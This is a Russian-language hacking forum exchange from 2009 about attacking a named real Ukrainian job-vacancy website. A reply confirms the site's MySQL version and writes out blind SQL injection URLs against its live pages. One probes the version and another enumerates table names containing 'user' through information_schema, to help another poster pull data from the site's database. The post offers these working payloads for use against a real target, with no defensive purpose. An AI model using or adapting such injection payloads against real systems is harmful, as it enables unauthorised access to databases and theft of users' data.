
09.02.2009, 20:46
|
|
Познающий
Регистрация: 02.01.2009
Сообщений: 55
Провел на форуме: 393715
Репутация:
90
|
|
Сообщение от TELO
скажите пожалуйста,это скуль? если да,то как вывести инфу?
Код:
http://trud.dp.ua/vacancysearch.php?&short_view=1&pagenumber=http://wwwwwwww/&age=1&salary=1&branch=1&area=1&sex=1&education=1&days=1
паук написал что это реальный путь к серверу
там нет выводимых полей, хотя инфу из бд вполне реально вывести подзапросами, тем более там пятая версия MySQL и там доступно information_schema
http://trud.dp.ua/vacancyview.php?pagenumber=2&branch=2+and+substrin g(version(),1,1)=5&area=1
вот - там пять таблиц с именем %user%
http://trud.dp.ua/vacancyview.php?pagenumber=2&branch=2+and+ascii(su bstring((SELECT+table_name+from+information_schema .tables+where+table_name+like+char(37,117,115,101, 114,37)+limit+5,1),1,1))=117&area=1
Последний раз редактировалось pinky07; 09.02.2009 в 21:05..
|
|
|